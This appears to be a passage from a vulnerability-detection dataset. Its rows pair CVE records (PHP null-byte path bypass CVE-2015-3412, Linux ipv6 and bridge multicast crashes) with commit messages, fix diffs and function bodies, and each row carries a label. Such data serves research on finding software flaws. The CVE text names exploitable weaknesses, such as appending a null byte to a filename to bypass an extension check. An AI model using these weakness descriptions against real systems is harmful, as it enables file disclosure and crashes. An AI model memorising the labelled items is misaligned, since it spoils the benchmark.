extension_name,\n- l10n_util::GetStringUTF16(IDS_SHORT_PRODUCT_NAME));\n+ IDS_EXTENSION_INSTALLED_HEADING, extension_name);\n char* markup = g_markup_printf_escaped(\"<span size=\\\"larger\\\">%s</span>\",\n heading_text.c_str());\n gtk_label_set_markup(GTK_LABEL(heading_label), markup);"}<_**next**_>{"sha": "dbd8a6bc3b585d2a12c28891c13720959c77bdad", "filename": "chrome/browser/ui/panels/panel_settings_menu_model.cc", "status": "modified", "additions": 2, "deletions": 3, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/ui/panels/panel_settings_menu_model.cc", "raw_url": "https://github.com/chromium/chromium/raw/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/ui/panels/panel_settings_menu_model.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/panels/panel_settings_menu_model.cc?ref=6b5f83842b5edb5d4bd6684b196b3630c6769731", "patch": "@@ -1,4 +1,4 @@\n-// Copyright (c) 2011 The Chromium Authors. All rights reserved.\n+// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n@@ -30,8 +30,7 @@ PanelSettingsMenuModel::PanelSettingsMenuModel(Panel* panel)\n AddItem(COMMAND_CONFIGURE, l10n_util::GetStringUTF16(IDS_EXTENSIONS_OPTIONS));\n AddItem(COMMAND_DISABLE, l10n_util::GetStringUTF16(IDS_EXTENSIONS_DISABLE));\n AddItem(COMMAND_UNINSTALL,\n- l10n_util::GetStringFUTF16(IDS_EXTENSIONS_UNINSTALL,\n- l10n_util::GetStringUTF16(IDS_SHORT_PRODUCT_NAME)));\n+ l10n_util::GetStringUTF16(IDS_EXTENSIONS_UNINSTALL));\n AddSeparator();\n AddItem(COMMAND_MANAGE, l10n_util::GetStringUTF16(IDS_MANAGE_EXTENSIONS));\n }"}<_**next**_>{"sha": "5af242d1d102a7ee942dff3071560cf645f0f1a5", "filename": "chrome/browser/ui/views/extensions/extension_installed_bubble.cc", "status": "modified", "additions": 2, "deletions": 4, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/ui/views/extensions/extension_installed_bubble.cc", "raw_url": "https://github.com/chromium/chromium/raw/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/ui/views/extensions/extension_installed_bubble.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/views/extensions/extension_installed_bubble.cc?ref=6b5f83842b5edb5d4bd6684b196b3630c6769731", "patch": "@@ -1,4 +1,4 @@\n-// Copyright (c) 2011 The Chromium Authors. All rights reserved.\n+// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n@@ -114,9 +114,7 @@ class InstalledBubbleContent : public views::View,\n string16 extension_name = UTF8ToUTF16(extension->name());\n base::i18n::AdjustStringForLocaleDirection(&extension_name);\n heading_ = new views::Label(l10n_util::GetStringFUTF16(\n- IDS_EXTENSION_INSTALLED_HEADING,\n- extension_name,\n- l10n_util::GetStringUTF16(IDS_SHORT_PRODUCT_NAME)));\n+ IDS_EXTENSION_INSTALLED_HEADING, extension_name));\n heading_->SetFont(rb.GetFont(ResourceBundle::MediumFont));\n heading_->SetMultiLine(true);\n heading_->SetHorizontalAlignment(views::Label::ALIGN_LEFT);"}<_**next**_>{"sha": "f8ed702f07cef6cf95f8c65f4c539ddcdeace6d4", "filename": "chrome/browser/ui/webui/ntp/ntp_resource_cache.cc", "status": "modified", "additions": 1, "deletions": 3, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/ui/webui/ntp/ntp_resource_cache.cc", "raw_url": "https://github.com/chromium/chromium/raw/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/ui/webui/ntp/ntp_resource_cache.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/webui/ntp/ntp_resource_cache.cc?ref=6b5f83842b5edb5d4bd6684b196b3630c6769731", "patch": "@@ -308,9 +308,7 @@ void NTPResourceCache::CreateNewTabHTML() {\n localized_strings.SetString(\"removethumbnailtooltip\",\n l10n_util::GetStringUTF16(IDS_NEW_TAB_REMOVE_THUMBNAIL_TOOLTIP));\n localized_strings.SetString(\"appuninstall\",\n- l10n_util::GetStringFUTF16(\n- IDS_EXTENSIONS_UNINSTALL,\n- l10n_util::GetStringUTF16(IDS_SHORT_PRODUCT_NAME)));\n+ l10n_util::GetStringUTF16(IDS_EXTENSIONS_UNINSTALL));\n localized_strings.SetString(\"appoptions\",\n l10n_util::GetStringUTF16(IDS_NEW_TAB_APP_OPTIONS));\n localized_strings.SetString(\"appdisablenotifications\","}<_**next**_>{"sha": "1e0e1dee71e0234b508a2ac022179b52319da822", "filename": "chrome/browser/ui/webui/options/extension_settings_handler.cc", "status": "modified", "additions": 1, "deletions": 2, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/ui/webui/options/extension_settings_handler.cc", "raw_url": "https://github.com/chromium/chromium/raw/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/ui/webui/options/extension_settings_handler.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/webui/options/extension_settings_handler.cc?ref=6b5f83842b5edb5d4bd6684b196b3630c6769731", "patch": "@@ -545,8 +545,7 @@ void ExtensionSettingsHandler::GetLocalizedValues(\n localized_strings->SetString(\"extensionSettingsAllowFileAccess\",\n l10n_util::GetStringUTF16(IDS_EXTENSIONS_ALLOW_FILE_ACCESS));\n localized_strings->SetString(\"extensionSettingsIncognitoWarning\",\n- l10n_util::GetStringFUTF16(IDS_EXTENSIONS_INCOGNITO_WARNING,\n- l10n_util::GetStringUTF16(IDS_PRODUCT_NAME)));\n+ l10n_util::GetStringUTF16(IDS_EXTENSIONS_INCOGNITO_WARNING));\n localized_strings->SetString(\"extensionSettingsReload\",\n l10n_util::GetStringUTF16(IDS_EXTENSIONS_RELOAD));\n localized_strings->SetString(\"extensionSettingsOptions\","}
|
void ExtensionGlobalError::BubbleViewAcceptButtonPressed() {
if (!accept_callback_.is_null()) {
accept_callback_.Run(*this, current_browser_);
}
}
|
void ExtensionGlobalError::BubbleViewAcceptButtonPressed() {
if (!accept_callback_.is_null()) {
accept_callback_.Run(*this, current_browser_);
}
}
|
C
| null | null | null |
@@ -1,4 +1,4 @@
-// Copyright (c) 2011 The Chromium Authors. All rights reserved.
+// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
@@ -98,10 +98,8 @@ string16 ExtensionGlobalError::GenerateMessageSection(
for (ExtensionIdSet::const_iterator iter = extensions->begin();
iter != extensions->end(); ++iter) {
const Extension* e = extension_service_->GetExtensionById(*iter, true);
- message += l10n_util::GetStringFUTF16(
- template_message_id,
- string16(ASCIIToUTF16(e->name())),
- l10n_util::GetStringUTF16(IDS_SHORT_PRODUCT_NAME));
+ message += l10n_util::GetStringFUTF16(template_message_id,
+ string16(ASCIIToUTF16(e->name())));
}
return message;
}
|
Chrome
|
6b5f83842b5edb5d4bd6684b196b3630c6769731
|
2a7d8183360056520958b908ebec80948b83f2d1
| 0
|
void ExtensionGlobalError::BubbleViewAcceptButtonPressed() {
if (!accept_callback_.is_null()) {
accept_callback_.Run(*this, current_browser_);
}
}
|
15,200
| null |
Remote
|
Not required
| null |
CVE-2015-3412
|
https://www.cvedetails.com/cve/CVE-2015-3412/
|
CWE-254
|
Low
|
Partial
| null | null |
2016-05-16
| 5
|
PHP before 5.4.40, 5.5.x before 5.5.24, and 5.6.x before 5.6.8 does not ensure that pathnames lack %00 sequences, which might allow remote attackers to read arbitrary files via crafted input to an application that calls the stream_resolve_include_path function in ext/standard/streamsfuncs.c, as demonstrated by a filename\0.extension attack that bypasses an intended configuration in which client users may read files with only one specific extension.
|
2019-04-22
|
Bypass
| 0
|
https://git.php.net/?p=php-src.git;a=commit;h=4435b9142ff9813845d5c97ab29a5d637bedb257
|
4435b9142ff9813845d5c97ab29a5d637bedb257
| null | 0
| null | null |
static void php_image_filter_gaussian_blur(INTERNAL_FUNCTION_PARAMETERS)
{
PHP_GD_SINGLE_RES
if (gdImageGaussianBlur(im_src) == 1) {
RETURN_TRUE;
}
RETURN_FALSE;
}
|
static void php_image_filter_gaussian_blur(INTERNAL_FUNCTION_PARAMETERS)
{
PHP_GD_SINGLE_RES
if (gdImageGaussianBlur(im_src) == 1) {
RETURN_TRUE;
}
RETURN_FALSE;
}
|
C
| null | null |
9faaee66fa493372c7340b1ab05f8fd115131a42
|
@@ -1495,7 +1495,7 @@ PHP_FUNCTION(imageloadfont)
gdFontPtr font;
php_stream *stream;
- if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &file, &file_name) == FAILURE) {
+ if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "p", &file, &file_name) == FAILURE) {
return;
}
@@ -2438,7 +2438,7 @@ static void _php_image_create_from(INTERNAL_FUNCTION_PARAMETERS, int image_type,
long ignore_warning;
#endif
if (image_type == PHP_GDIMG_TYPE_GD2PART) {
- if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sllll", &file, &file_len, &srcx, &srcy, &width, &height) == FAILURE) {
+ if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "pllll", &file, &file_len, &srcx, &srcy, &width, &height) == FAILURE) {
return;
}
if (width < 1 || height < 1) {
@@ -2446,7 +2446,7 @@ static void _php_image_create_from(INTERNAL_FUNCTION_PARAMETERS, int image_type,
RETURN_FALSE;
}
} else {
- if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &file, &file_len) == FAILURE) {
+ if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "p", &file, &file_len) == FAILURE) {
return;
}
}
@@ -4178,7 +4178,7 @@ PHP_FUNCTION(imagepsencodefont)
char *enc, **enc_vector;
int enc_len, *f_ind;
- if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rs", &fnt, &enc, &enc_len) == FAILURE) {
+ if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rp", &fnt, &enc, &enc_len) == FAILURE) {
return;
}
|
php
|
https://git.php.net/?p=php-src.git;a=blob;f=ext/gd/gd.c;h=d258c3dbc7862534762d3640688f1b980c031459;hb=4435b9142ff9813845d5c97ab29a5d637bedb257
|
https://git.php.net/?p=php-src.git;a=blob;f=ext/gd/gd.c;h=e5657f7424ab30c8f3ca7ec73e9201375d1fab39
| 0
|
static void php_image_filter_gaussian_blur(INTERNAL_FUNCTION_PARAMETERS)
{
PHP_GD_SINGLE_RES
if (gdImageGaussianBlur(im_src) == 1) {
RETURN_TRUE;
}
RETURN_FALSE;
}
|
64,630
| null |
Local
|
Not required
|
Complete
|
CVE-2017-9242
|
https://www.cvedetails.com/cve/CVE-2017-9242/
|
CWE-20
|
Low
| null | null | null |
2017-05-26
| 4.9
|
The __ip6_append_data function in net/ipv6/ip6_output.c in the Linux kernel through 4.11.3 is too late in checking whether an overwrite of an skb data structure may occur, which allows local users to cause a denial of service (system crash) via crafted system calls.
|
2018-01-04
|
DoS
| 0
|
https://github.com/torvalds/linux/commit/232cd35d0804cc241eb887bb8d4d9b3b9881c64a
|
232cd35d0804cc241eb887bb8d4d9b3b9881c64a
|
ipv6: fix out of bound writes in __ip6_append_data()
Andrey Konovalov and idaifish@gmail.com reported crashes caused by
one skb shared_info being overwritten from __ip6_append_data()
Andrey program lead to following state :
copy -4200 datalen 2000 fraglen 2040
maxfraglen 2040 alloclen 2048 transhdrlen 0 offset 0 fraggap 6200
The skb_copy_and_csum_bits(skb_prev, maxfraglen, data + transhdrlen,
fraggap, 0); is overwriting skb->head and skb_shared_info
Since we apparently detect this rare condition too late, move the
code earlier to even avoid allocating skb and risking crashes.
Once again, many thanks to Andrey and syzkaller team.
Signed-off-by: Eric Dumazet <edumazet@google.com>
Reported-by: Andrey Konovalov <andreyknvl@google.com>
Tested-by: Andrey Konovalov <andreyknvl@google.com>
Reported-by: <idaifish@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
| 0
|
net/ipv6/ip6_output.c
|
{"sha": "bf8a58a1c32d83a9605844075da5815be23a6bf1", "filename": "net/ipv6/ip6_output.c", "status": "modified", "additions": 8, "deletions": 7, "changes": 15, "blob_url": "https://github.com/torvalds/linux/blob/232cd35d0804cc241eb887bb8d4d9b3b9881c64a/net/ipv6/ip6_output.c", "raw_url": "https://github.com/torvalds/linux/raw/232cd35d0804cc241eb887bb8d4d9b3b9881c64a/net/ipv6/ip6_output.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/net/ipv6/ip6_output.c?ref=232cd35d0804cc241eb887bb8d4d9b3b9881c64a", "patch": "@@ -1466,6 +1466,11 @@ static int __ip6_append_data(struct sock *sk,\n \t\t\t */\n \t\t\talloclen += sizeof(struct frag_hdr);\n \n+\t\t\tcopy = datalen - transhdrlen - fraggap;\n+\t\t\tif (copy < 0) {\n+\t\t\t\terr = -EINVAL;\n+\t\t\t\tgoto error;\n+\t\t\t}\n \t\t\tif (transhdrlen) {\n \t\t\t\tskb = sock_alloc_send_skb(sk,\n \t\t\t\t\t\talloclen + hh_len,\n@@ -1515,13 +1520,9 @@ static int __ip6_append_data(struct sock *sk,\n \t\t\t\tdata += fraggap;\n \t\t\t\tpskb_trim_unique(skb_prev, maxfraglen);\n \t\t\t}\n-\t\t\tcopy = datalen - transhdrlen - fraggap;\n-\n-\t\t\tif (copy < 0) {\n-\t\t\t\terr = -EINVAL;\n-\t\t\t\tkfree_skb(skb);\n-\t\t\t\tgoto error;\n-\t\t\t} else if (copy > 0 && getfrag(from, data + transhdrlen, offset, copy, fraggap, skb) < 0) {\n+\t\t\tif (copy > 0 &&\n+\t\t\t getfrag(from, data + transhdrlen, offset,\n+\t\t\t\t copy, fraggap, skb) < 0) {\n \t\t\t\terr = -EFAULT;\n \t\t\t\tkfree_skb(skb);\n \t\t\t\tgoto error;"}
|
static int ip6_dst_lookup_tail(struct net *net, const struct sock *sk,
struct dst_entry **dst, struct flowi6 *fl6)
{
#ifdef CONFIG_IPV6_OPTIMISTIC_DAD
struct neighbour *n;
struct rt6_info *rt;
#endif
int err;
int flags = 0;
/* The correct way to handle this would be to do
* ip6_route_get_saddr, and then ip6_route_output; however,
* the route-specific preferred source forces the
* ip6_route_output call _before_ ip6_route_get_saddr.
*
* In source specific routing (no src=any default route),
* ip6_route_output will fail given src=any saddr, though, so
* that's why we try it again later.
*/
if (ipv6_addr_any(&fl6->saddr) && (!*dst || !(*dst)->error)) {
struct rt6_info *rt;
bool had_dst = *dst != NULL;
if (!had_dst)
*dst = ip6_route_output(net, sk, fl6);
rt = (*dst)->error ? NULL : (struct rt6_info *)*dst;
err = ip6_route_get_saddr(net, rt, &fl6->daddr,
sk ? inet6_sk(sk)->srcprefs : 0,
&fl6->saddr);
if (err)
goto out_err_release;
/* If we had an erroneous initial result, pretend it
* never existed and let the SA-enabled version take
* over.
*/
if (!had_dst && (*dst)->error) {
dst_release(*dst);
*dst = NULL;
}
if (fl6->flowi6_oif)
flags |= RT6_LOOKUP_F_IFACE;
}
if (!*dst)
*dst = ip6_route_output_flags(net, sk, fl6, flags);
err = (*dst)->error;
if (err)
goto out_err_release;
#ifdef CONFIG_IPV6_OPTIMISTIC_DAD
/*
* Here if the dst entry we've looked up
* has a neighbour entry that is in the INCOMPLETE
* state and the src address from the flow is
* marked as OPTIMISTIC, we release the found
* dst entry and replace it instead with the
* dst entry of the nexthop router
*/
rt = (struct rt6_info *) *dst;
rcu_read_lock_bh();
n = __ipv6_neigh_lookup_noref(rt->dst.dev,
rt6_nexthop(rt, &fl6->daddr));
err = n && !(n->nud_state & NUD_VALID) ? -EINVAL : 0;
rcu_read_unlock_bh();
if (err) {
struct inet6_ifaddr *ifp;
struct flowi6 fl_gw6;
int redirect;
ifp = ipv6_get_ifaddr(net, &fl6->saddr,
(*dst)->dev, 1);
redirect = (ifp && ifp->flags & IFA_F_OPTIMISTIC);
if (ifp)
in6_ifa_put(ifp);
if (redirect) {
/*
* We need to get the dst entry for the
* default router instead
*/
dst_release(*dst);
memcpy(&fl_gw6, fl6, sizeof(struct flowi6));
memset(&fl_gw6.daddr, 0, sizeof(struct in6_addr));
*dst = ip6_route_output(net, sk, &fl_gw6);
err = (*dst)->error;
if (err)
goto out_err_release;
}
}
#endif
if (ipv6_addr_v4mapped(&fl6->saddr) &&
!(ipv6_addr_v4mapped(&fl6->daddr) || ipv6_addr_any(&fl6->daddr))) {
err = -EAFNOSUPPORT;
goto out_err_release;
}
return 0;
out_err_release:
dst_release(*dst);
*dst = NULL;
if (err == -ENETUNREACH)
IP6_INC_STATS(net, NULL, IPSTATS_MIB_OUTNOROUTES);
return err;
}
|
static int ip6_dst_lookup_tail(struct net *net, const struct sock *sk,
struct dst_entry **dst, struct flowi6 *fl6)
{
#ifdef CONFIG_IPV6_OPTIMISTIC_DAD
struct neighbour *n;
struct rt6_info *rt;
#endif
int err;
int flags = 0;
/* The correct way to handle this would be to do
* ip6_route_get_saddr, and then ip6_route_output; however,
* the route-specific preferred source forces the
* ip6_route_output call _before_ ip6_route_get_saddr.
*
* In source specific routing (no src=any default route),
* ip6_route_output will fail given src=any saddr, though, so
* that's why we try it again later.
*/
if (ipv6_addr_any(&fl6->saddr) && (!*dst || !(*dst)->error)) {
struct rt6_info *rt;
bool had_dst = *dst != NULL;
if (!had_dst)
*dst = ip6_route_output(net, sk, fl6);
rt = (*dst)->error ? NULL : (struct rt6_info *)*dst;
err = ip6_route_get_saddr(net, rt, &fl6->daddr,
sk ? inet6_sk(sk)->srcprefs : 0,
&fl6->saddr);
if (err)
goto out_err_release;
/* If we had an erroneous initial result, pretend it
* never existed and let the SA-enabled version take
* over.
*/
if (!had_dst && (*dst)->error) {
dst_release(*dst);
*dst = NULL;
}
if (fl6->flowi6_oif)
flags |= RT6_LOOKUP_F_IFACE;
}
if (!*dst)
*dst = ip6_route_output_flags(net, sk, fl6, flags);
err = (*dst)->error;
if (err)
goto out_err_release;
#ifdef CONFIG_IPV6_OPTIMISTIC_DAD
/*
* Here if the dst entry we've looked up
* has a neighbour entry that is in the INCOMPLETE
* state and the src address from the flow is
* marked as OPTIMISTIC, we release the found
* dst entry and replace it instead with the
* dst entry of the nexthop router
*/
rt = (struct rt6_info *) *dst;
rcu_read_lock_bh();
n = __ipv6_neigh_lookup_noref(rt->dst.dev,
rt6_nexthop(rt, &fl6->daddr));
err = n && !(n->nud_state & NUD_VALID) ? -EINVAL : 0;
rcu_read_unlock_bh();
if (err) {
struct inet6_ifaddr *ifp;
struct flowi6 fl_gw6;
int redirect;
ifp = ipv6_get_ifaddr(net, &fl6->saddr,
(*dst)->dev, 1);
redirect = (ifp && ifp->flags & IFA_F_OPTIMISTIC);
if (ifp)
in6_ifa_put(ifp);
if (redirect) {
/*
* We need to get the dst entry for the
* default router instead
*/
dst_release(*dst);
memcpy(&fl_gw6, fl6, sizeof(struct flowi6));
memset(&fl_gw6.daddr, 0, sizeof(struct in6_addr));
*dst = ip6_route_output(net, sk, &fl_gw6);
err = (*dst)->error;
if (err)
goto out_err_release;
}
}
#endif
if (ipv6_addr_v4mapped(&fl6->saddr) &&
!(ipv6_addr_v4mapped(&fl6->daddr) || ipv6_addr_any(&fl6->daddr))) {
err = -EAFNOSUPPORT;
goto out_err_release;
}
return 0;
out_err_release:
dst_release(*dst);
*dst = NULL;
if (err == -ENETUNREACH)
IP6_INC_STATS(net, NULL, IPSTATS_MIB_OUTNOROUTES);
return err;
}
|
C
| null | null | null |
@@ -1466,6 +1466,11 @@ static int __ip6_append_data(struct sock *sk,
*/
alloclen += sizeof(struct frag_hdr);
+ copy = datalen - transhdrlen - fraggap;
+ if (copy < 0) {
+ err = -EINVAL;
+ goto error;
+ }
if (transhdrlen) {
skb = sock_alloc_send_skb(sk,
alloclen + hh_len,
@@ -1515,13 +1520,9 @@ static int __ip6_append_data(struct sock *sk,
data += fraggap;
pskb_trim_unique(skb_prev, maxfraglen);
}
- copy = datalen - transhdrlen - fraggap;
-
- if (copy < 0) {
- err = -EINVAL;
- kfree_skb(skb);
- goto error;
- } else if (copy > 0 && getfrag(from, data + transhdrlen, offset, copy, fraggap, skb) < 0) {
+ if (copy > 0 &&
+ getfrag(from, data + transhdrlen, offset,
+ copy, fraggap, skb) < 0) {
err = -EFAULT;
kfree_skb(skb);
goto error;
|
linux
|
232cd35d0804cc241eb887bb8d4d9b3b9881c64a
|
6d18c732b95c0a9d35e9f978b4438bba15412284
| 0
|
static int ip6_dst_lookup_tail(struct net *net, const struct sock *sk,
struct dst_entry **dst, struct flowi6 *fl6)
{
#ifdef CONFIG_IPV6_OPTIMISTIC_DAD
struct neighbour *n;
struct rt6_info *rt;
#endif
int err;
int flags = 0;
/* The correct way to handle this would be to do
* ip6_route_get_saddr, and then ip6_route_output; however,
* the route-specific preferred source forces the
* ip6_route_output call _before_ ip6_route_get_saddr.
*
* In source specific routing (no src=any default route),
* ip6_route_output will fail given src=any saddr, though, so
* that's why we try it again later.
*/
if (ipv6_addr_any(&fl6->saddr) && (!*dst || !(*dst)->error)) {
struct rt6_info *rt;
bool had_dst = *dst != NULL;
if (!had_dst)
*dst = ip6_route_output(net, sk, fl6);
rt = (*dst)->error ? NULL : (struct rt6_info *)*dst;
err = ip6_route_get_saddr(net, rt, &fl6->daddr,
sk ? inet6_sk(sk)->srcprefs : 0,
&fl6->saddr);
if (err)
goto out_err_release;
/* If we had an erroneous initial result, pretend it
* never existed and let the SA-enabled version take
* over.
*/
if (!had_dst && (*dst)->error) {
dst_release(*dst);
*dst = NULL;
}
if (fl6->flowi6_oif)
flags |= RT6_LOOKUP_F_IFACE;
}
if (!*dst)
*dst = ip6_route_output_flags(net, sk, fl6, flags);
err = (*dst)->error;
if (err)
goto out_err_release;
#ifdef CONFIG_IPV6_OPTIMISTIC_DAD
/*
* Here if the dst entry we've looked up
* has a neighbour entry that is in the INCOMPLETE
* state and the src address from the flow is
* marked as OPTIMISTIC, we release the found
* dst entry and replace it instead with the
* dst entry of the nexthop router
*/
rt = (struct rt6_info *) *dst;
rcu_read_lock_bh();
n = __ipv6_neigh_lookup_noref(rt->dst.dev,
rt6_nexthop(rt, &fl6->daddr));
err = n && !(n->nud_state & NUD_VALID) ? -EINVAL : 0;
rcu_read_unlock_bh();
if (err) {
struct inet6_ifaddr *ifp;
struct flowi6 fl_gw6;
int redirect;
ifp = ipv6_get_ifaddr(net, &fl6->saddr,
(*dst)->dev, 1);
redirect = (ifp && ifp->flags & IFA_F_OPTIMISTIC);
if (ifp)
in6_ifa_put(ifp);
if (redirect) {
/*
* We need to get the dst entry for the
* default router instead
*/
dst_release(*dst);
memcpy(&fl_gw6, fl6, sizeof(struct flowi6));
memset(&fl_gw6.daddr, 0, sizeof(struct in6_addr));
*dst = ip6_route_output(net, sk, &fl_gw6);
err = (*dst)->error;
if (err)
goto out_err_release;
}
}
#endif
if (ipv6_addr_v4mapped(&fl6->saddr) &&
!(ipv6_addr_v4mapped(&fl6->daddr) || ipv6_addr_any(&fl6->daddr))) {
err = -EAFNOSUPPORT;
goto out_err_release;
}
return 0;
out_err_release:
dst_release(*dst);
*dst = NULL;
if (err == -ENETUNREACH)
IP6_INC_STATS(net, NULL, IPSTATS_MIB_OUTNOROUTES);
return err;
}
|
30,004
| null |
Local
|
Not required
|
Complete
|
CVE-2013-4129
|
https://www.cvedetails.com/cve/CVE-2013-4129/
|
CWE-20
|
Medium
| null | null | null |
2013-07-29
| 4.7
|
The bridge multicast implementation in the Linux kernel through 3.10.3 does not check whether a certain timer is armed before modifying the timeout value of that timer, which allows local users to cause a denial of service (BUG and system crash) via vectors involving the shutdown of a KVM virtual machine, related to net/bridge/br_mdb.c and net/bridge/br_multicast.c.
|
2017-08-28
|
DoS
| 0
|
https://github.com/torvalds/linux/commit/c7e8e8a8f7a70b343ca1e0f90a31e35ab2d16de1
|
c7e8e8a8f7a70b343ca1e0f90a31e35ab2d16de1
|
bridge: fix some kernel warning in multicast timer
Several people reported the warning: "kernel BUG at kernel/timer.c:729!"
and the stack trace is:
#7 [ffff880214d25c10] mod_timer+501 at ffffffff8106d905
#8 [ffff880214d25c50] br_multicast_del_pg.isra.20+261 at ffffffffa0731d25 [bridge]
#9 [ffff880214d25c80] br_multicast_disable_port+88 at ffffffffa0732948 [bridge]
#10 [ffff880214d25cb0] br_stp_disable_port+154 at ffffffffa072bcca [bridge]
#11 [ffff880214d25ce8] br_device_event+520 at ffffffffa072a4e8 [bridge]
#12 [ffff880214d25d18] notifier_call_chain+76 at ffffffff8164aafc
#13 [ffff880214d25d50] raw_notifier_call_chain+22 at ffffffff810858f6
#14 [ffff880214d25d60] call_netdevice_notifiers+45 at ffffffff81536aad
#15 [ffff880214d25d80] dev_close_many+183 at ffffffff81536d17
#16 [ffff880214d25dc0] rollback_registered_many+168 at ffffffff81537f68
#17 [ffff880214d25de8] rollback_registered+49 at ffffffff81538101
#18 [ffff880214d25e10] unregister_netdevice_queue+72 at ffffffff815390d8
#19 [ffff880214d25e30] __tun_detach+272 at ffffffffa074c2f0 [tun]
#20 [ffff880214d25e88] tun_chr_close+45 at ffffffffa074c4bd [tun]
#21 [ffff880214d25ea8] __fput+225 at ffffffff8119b1f1
#22 [ffff880214d25ef0] ____fput+14 at ffffffff8119b3fe
#23 [ffff880214d25f00] task_work_run+159 at ffffffff8107cf7f
#24 [ffff880214d25f30] do_notify_resume+97 at ffffffff810139e1
#25 [ffff880214d25f50] int_signal+18 at ffffffff8164f292
this is due to I forgot to check if mp->timer is armed in
br_multicast_del_pg(). This bug is introduced by
commit 9f00b2e7cf241fa389733d41b6 (bridge: only expire the mdb entry
when query is received).
Same for __br_mdb_del().
Tested-by: poma <pomidorabelisima@gmail.com>
Reported-by: LiYonghua <809674045@qq.com>
Reported-by: Robert Hancock <hancockrwd@gmail.com>
Cc: Herbert Xu <herbert@gondor.apana.org.au>
Cc: Stephen Hemminger <stephen@networkplumber.org>
Cc: "David S. Miller" <davem@davemloft.net>
Signed-off-by: Cong Wang <amwang@redhat.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
| 0
|
net/bridge/br_multicast.c
|
{"sha": "0daae3ec2355543bce3600001db5fd32cf6d6ff7", "filename": "net/bridge/br_mdb.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/c7e8e8a8f7a70b343ca1e0f90a31e35ab2d16de1/net/bridge/br_mdb.c", "raw_url": "https://github.com/torvalds/linux/raw/c7e8e8a8f7a70b343ca1e0f90a31e35ab2d16de1/net/bridge/br_mdb.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/net/bridge/br_mdb.c?ref=c7e8e8a8f7a70b343ca1e0f90a31e35ab2d16de1", "patch": "@@ -447,7 +447,7 @@ static int __br_mdb_del(struct net_bridge *br, struct br_mdb_entry *entry)\n \t\tcall_rcu_bh(&p->rcu, br_multicast_free_pg);\n \t\terr = 0;\n \n-\t\tif (!mp->ports && !mp->mglist &&\n+\t\tif (!mp->ports && !mp->mglist && mp->timer_armed &&\n \t\t netif_running(br->dev))\n \t\t\tmod_timer(&mp->timer, jiffies);\n \t\tbreak;"}<_**next**_>{"sha": "69af490cce4437bdc107f8b5b1216780b4c126af", "filename": "net/bridge/br_multicast.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/c7e8e8a8f7a70b343ca1e0f90a31e35ab2d16de1/net/bridge/br_multicast.c", "raw_url": "https://github.com/torvalds/linux/raw/c7e8e8a8f7a70b343ca1e0f90a31e35ab2d16de1/net/bridge/br_multicast.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/net/bridge/br_multicast.c?ref=c7e8e8a8f7a70b343ca1e0f90a31e35ab2d16de1", "patch": "@@ -270,7 +270,7 @@ static void br_multicast_del_pg(struct net_bridge *br,\n \t\tdel_timer(&p->timer);\n \t\tcall_rcu_bh(&p->rcu, br_multicast_free_pg);\n \n-\t\tif (!mp->ports && !mp->mglist &&\n+\t\tif (!mp->ports && !mp->mglist && mp->timer_armed &&\n \t\t netif_running(br->dev))\n \t\t\tmod_timer(&mp->timer, jiffies);\n "}
|
static struct net_bridge_mdb_entry *br_mdb_ip6_get(
struct net_bridge_mdb_htable *mdb, const struct in6_addr *dst,
__u16 vid)
{
struct br_ip br_dst;
br_dst.u.ip6 = *dst;
br_dst.proto = htons(ETH_P_IPV6);
br_dst.vid = vid;
return br_mdb_ip_get(mdb, &br_dst);
}
|
static struct net_bridge_mdb_entry *br_mdb_ip6_get(
struct net_bridge_mdb_htable *mdb, const struct in6_addr *dst,
__u16 vid)
{
struct br_ip br_dst;
br_dst.u.ip6 = *dst;
br_dst.proto = htons(ETH_P_IPV6);
br_dst.vid = vid;
return br_mdb_ip_get(mdb, &br_dst);
}
|
C
| null | null | null |
@@ -270,7 +270,7 @@ static void br_multicast_del_pg(struct net_bridge *br,
del_timer(&p->timer);
call_rcu_bh(&p->rcu, br_multicast_free_pg);
- if (!mp->ports && !mp->mglist &&
+ if (!mp->ports && !mp->mglist && mp->timer_armed &&
netif_running(br->dev))
mod_timer(&mp->timer, jiffies);
|
linux
|
